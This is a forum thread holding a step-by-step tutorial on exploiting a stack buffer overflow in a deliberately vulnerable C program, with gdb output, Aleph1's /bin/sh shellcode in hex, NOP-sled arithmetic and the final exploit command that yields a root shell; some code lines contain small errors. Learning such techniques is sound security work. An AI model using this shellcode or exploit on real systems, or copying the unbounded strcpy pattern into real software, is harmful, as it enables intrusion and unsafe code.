Author Topic: Let's write a Buffer Overflow  (Read 3060 times)

0 Members and 3 Guests are viewing this topic.

Offline Ergo

  • /dev/null
  • *
  • Posts: 6
  • Cookies: 7
    • View Profile
Let's write a Buffer Overflow
« on: December 13, 2014, 09:13:19 pm »

Let's write a Buffer Overflow

I've noticed a lot of the people who claim they know hack seem to only know how to use SQLi and XSS and consider those the only existing forms of exploitation. I'm going to make a few tutorials explaining, with examples, other forms of vulnerabilities starting with the classic Buffer Overflow. In this tutorial you will learn about how Buffer Overflows work, and how to create one.



What's a buffer overflow?
A buffer overflow is where you overflow a buffer (Simple, right?).


What does a Buffer Overflow exploit do?
A Buffer Overflow's main objective is to overwrite the memory address within the EIP (Extended Instruction Pointer) register (If that means nothing to you, you should probably learn ASM, however for this tutorial I will give a brief explanation as to what it is). The EIP register can be considered a variable within the processor. It is known as something called an Address Register, meaning it stores memory addresses within it. The EIP register is used to point to the next instruction that is going to be executed. During calling functions, the value of EIP is stored in the stack and is later collected and put back into the register. If you can replace EIP's value, you can change what's executed. That's why we use buffer overflows.


Okay then, what do we need to do?
First, for this scenario, we're going to need our vulnerable program. Here's one I made earlier:


Code: [Select]
//person.c
#include <stdio.h>
vuln(char *arr)
{
char person[100];
strcpy(person, arr);
printf("Your favorite person is: %s\n", person);
}
main(int argc, char * argv[])
{
vuln(argv[1]);
printf("Horray for %s\n", argv[1]);
}



This program just outputs the user's favorite word that they enter as a command-line argument. For example "./person ergo" would output "Your favorite person is: ergo".
Okay, so let's compile that with gcc (or your favorite C compiler) and get overflowing. (We'll be compiling using the command "gcc -mpreferred-stack-boundary=2 -o person -ggdb person.c" run as the root user). You may get some warnings during compilation, but hey, what do you expect when you're trying to make vulnerable code.
Now we need to overwrite the EIP register. We can do this and check whether it's worked using gdb (The GNU Project Debugger).


Code: [Select]
root@Root:~Desktop# gdb -q person
Reading symbols from /root/Desktop/person...done.
(gdb)



Now let's use perl to go outside the buffer size by sending 200 characters instead of the maximum size of our bugger of 100.


Code: [Select]
(gdb) run `perl -e 'print "A" x 200'`
Starting program: /root/Desktop/person `perl -e 'print "A" x 200'`
Program received signal SIGSEGV, Segmentation fault.
0x4002269f in strlen () from /lib/libc.so.6



You should have a similar error to this. Now let's see if we've overwritten the EIP register.


Code: [Select]
(gdb) info reg eip
eip 0x4002269f 0x4002269f



Apparently you did not and I will explain why. Below is a diagram of how the program variables and registers appear within the stack.



--
|ESP|person|EBP|EIP|arr|
--
<--

The reason this didn't work is because there are several nested functions (Including the printf command, which is where our error "0x4002269f in strlen () from /lib/libc.so.6" is coming from. Printf actually calls vfprintf() and then that calls strlen, creating a lot of jmps in the code)in the program which means that there are multiple stack frames. The perl print has most likely overwritten past EIP and then overwritten some important function arguments stored in those stack frames. We can use the list command in gdb to view our C source and decide the best place to add a breakpoint.


Code: [Select]
(gdb) list
1 //person.c
2 #include <stdio.h>
3 vuln(char *arr)
4 {
5 char person[100];
6 strcpy(person, arr);
7 printf("Your favorite person is: %s\n", person);
8 }
9 main(int argc, char * argv[])
10 {
11 vuln(argv[1]);
12 printf("Horray for %s\n", argv[1]);
(gdb) b 7
Breakpoint 1 at 0x8048464: file person.c, line 7.



"b" is the breakpoint command. I've set it to line 7 because that's where the printf function is, which will lead to our previous error "0x4002269f in strlen () from /lib/libc.so.6". Now if we run the program again;


Code: [Select]
(gdb) run `perl -e 'print "A" x 200'`
Starting program: /root/Desktop/person `perl -e 'print "A" x 200'`
Breakpoint 1, vuln (arr=0x41414141 "") at person.c:7
7   printf("Your favorite person is: %s\n", person);



Now we can see we have made arr become equal to our memory address 0x41414141, however we need to remove the NULL that is also there so we need to use less A's until we get to the perfect number. So let's delete our last breakpoint and do it.


Code: [Select]
(gdb) d 1
(gdb) run `perl -e 'print "A" x 151
The program being debugged has been started already.
Start it from the beginning? (y or n) y


Starting program: /root/Desktop/person `perl -e 'print "A" x 151'`
Your favorite person is: AA
AA
AA


Program received signal SIGSEGV, Segmentation fault.
(gdb) info reg ebp eip
ebp   0xbfff2041   0xbfff2041
eip   0x80484dc   0x80484dc



As you can see, the last part of the ebp register was changed to the character of A, however we still need to overwrite with 7 more bytes for the perfect number of characters to fill the ebp register and the EBP register AND the EIP register. This is because as you see below, we still have to use 3 more bytes to fill the EBP register, however our aim is to corrupt the EIP register, so we need to overflow 4 more bytes on top of the three bytes to actually corrupt EIP.


Code: [Select]
(gdb) run `perl -e 'print "A" x 158
The program being debugged has been started already.
Start it from the beginning? (y or n) y


Starting program: /root/Desktop/person `perl -e 'print "A" x 158'`
Your favorite person is: AA
AA
AA


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()



Now let's check what's happened with  it.


Code: [Select]
(gdb) info reg ebp eip
ebp   0x41414141   0x41414141
eip   0x41414141   0x41414141



So now we have our perfect number. Next we're going to need some shellcode and the value of ESP. What's the ESP register? It's the register that points to where the top of the stack is. We go about getting it from our own little C program as shown below. (Just a side-note that this is in AT&T Syntax and not Intel syntax. You can change it with a few modifications).


Code: [Select]
#include <stdio.h>
unsigned long stackpointer(void)
{
__asm__("movl %esp, %eax);
}
int main()
{
printf("ESP: 0x%x\n", stackpointer());
}



Compile and run several times and we'll get the same address (If you don't, disable ASLR).


Code: [Select]
root@Root:~/Desktop#./regesp
ESP: 0xbffffef1



You're probably wondering why we actually need this. It's needed because we want to overwrite eip to get to a NOP sled that we will create. A NOP sled is a load of NOP instructions that do nothing (NOP = No Operation). The hex code 0x90 is usually representative of NOP.
 "What's shellcode?" I hear you cry. Shellcode can be used to execute commands on a system. For the purpose of this tutorial, we're going to be working with Aleph1's shell code and save us the time of writing our own. It is as follows below:
\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
Now let's put that into a perl variable called shellcode.


Code: [Select]
root@Root:~/Desktop$ perl -e 'print \x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";' > shellcode


Now you can calculate the size of your shellcode with the command "wc -c shellcode". If you're using the same shellcode, that should come out to 53 bytes.
Our attack buffer is, in this case, 158 bytes. We need all the parts of our exploit to add up to 158 bytes. It's generally good practice to have about half of that for the NOP sled. So we'll use about 75 bytes. Next comes the difficult bit. We need to guess our return address so that it ends up in the NOP sled. I'll estimate 0x80. I subtract this fro the ESP value as shown below to get my Return Address.


0xbffffef1 - 0x80 = 0xBFFFFE71


Now we need to convert this address into Little-Endian format because that's the architecture we are working with (This just involved flipping the bytes of the memory address around in shellcode). This gives us:


\x71\xfe\xff\xbf


Now to find out how many times we need this, we need to do a simple calculation; (Attack Buffer Size - Number of NOP bytes - Number of Bytes of Shellcode) / 4 bytes that make up our return address.


(158-75-53)/4 = 7.5


That means we need to repeat this address 7 times (always round down). SO let's recap;
We have an attack buffer of 158 bytes. We have 75 bytes of NOP for our NOP sled, 53 bytes of shellcode to be executed, and 28 bytes of our return address (7*4). This adds together to give 156 bytes overall. However, if we try this;


Code: [Select]
root@Root:~/Desktop$ ./person `perl -e 'print "\x90"x75';` `cat shellcode` `perl -e 'print "\x71\xfe\xff\xbf"x7';`
Segmentation fault



We get a nice error. That's because 156 does not equal 158. We need two more NOP bytes for it to work.


Code: [Select]
root@Root:~/Desktop$ ./person `perl -e 'print "\x90"x77';` `cat shellcode` `perl -e 'print "\x71\xfe\xff\xbf"x7';`
Your favorite person is:



Followed by a LOT of random characters until finally you get what you wanted.


Code: [Select]
root@Root:~/Desktop#


Root Access. Thanks for reading. I hope you learned a lot, as this SHOULD have given you a basic insight into how Buffer Overflows work and how you can use them to execute code.


Also, sorry for the lack of formatting.

Offline shadowwolf87

  • Serf
  • *
  • Posts: 25
  • Cookies: 3
  • I'm the Big Bad Wolf
    • View Profile
Re: Let's write a Buffer Overflow
« Reply #1 on: December 13, 2014, 09:27:37 pm »
I would say nice, but it looks like you copy and pasted this and then changed a few things.


http://siteofmax.com/?p=14
Rev. ShadowWolf
Church of the Latter Day Dude

Offline Ergo

  • /dev/null
  • *
  • Posts: 6
  • Cookies: 7
    • View Profile
Re: Let's write a Buffer Overflow
« Reply #2 on: December 13, 2014, 09:43:55 pm »
I originally posted it last year:
http://www.hackforums.net/showthread.php?tid=3723345


The formatting on mybb is different to on here so I had to cut it down a little. Still my work.

Offline shadowwolf87

  • Serf
  • *
  • Posts: 25
  • Cookies: 3
  • I'm the Big Bad Wolf
    • View Profile
Re: Let's write a Buffer Overflow
« Reply #3 on: December 13, 2014, 10:30:29 pm »
I have no reason to doubt you for now, so nice job on the tutorial.
Rev. ShadowWolf
Church of the Latter Day Dude

Offline Ergo

  • /dev/null
  • *
  • Posts: 6
  • Cookies: 7
    • View Profile
Re: Let's write a Buffer Overflow
« Reply #4 on: December 13, 2014, 10:49:25 pm »
Thank you.

Offline 0E 800

  • Not a VIP
  • VIP
  • Baron
  • *
  • Posts: 895
  • Cookies: 131
  • • тнε ιηтεяηεт ιs мү яεcүcℓε-вιη •
    • View Profile
Re: Let's write a Buffer Overflow
« Reply #5 on: December 13, 2014, 10:53:37 pm »
Thank you for your excellent contributions. Welcome to the forum. I look forward to reading more from you.
The invariable mark of wisdom is to see the miraculous in the common.

Offline Ergo

  • /dev/null
  • *
  • Posts: 6
  • Cookies: 7
    • View Profile
Re: Let's write a Buffer Overflow
« Reply #6 on: December 14, 2014, 04:42:41 pm »
Thank you for your excellent contributions. Welcome to the forum. I look forward to reading more from you.


Thank you, I appreciate the reply. I look forward to posting more.

Offline shimomura

  • Peasant
  • *
  • Posts: 57
  • Cookies: 0
    • View Profile
    • Shanaynay
Re: Let's write a Buffer Overflow
« Reply #7 on: March 05, 2015, 06:00:36 am »
This is well written and contains quality content but my favorite aspect about this tut that separates it from most tutorials on Buffer Overflows is that it refers you to pre-requisite material that one should learn and know before jumping into this subject. So many others over look this. ALWAYS LINK YOUR TUTORIALS TO MATERIAL THAT A NOOBS SHOULD READ SO THAT THEY THOROUGHLY UNDERSTAND IT! Loved this tutorial. +1
« Last Edit: March 05, 2015, 06:01:03 am by shimomura »
Who gives a fuck what color the dress is...

Offline w00t

  • NULL
  • Posts: 3
  • Cookies: 0
    • View Profile
Re: Let's write a Buffer Overflow
« Reply #8 on: April 14, 2015, 02:46:11 am »
Good share thanks bro!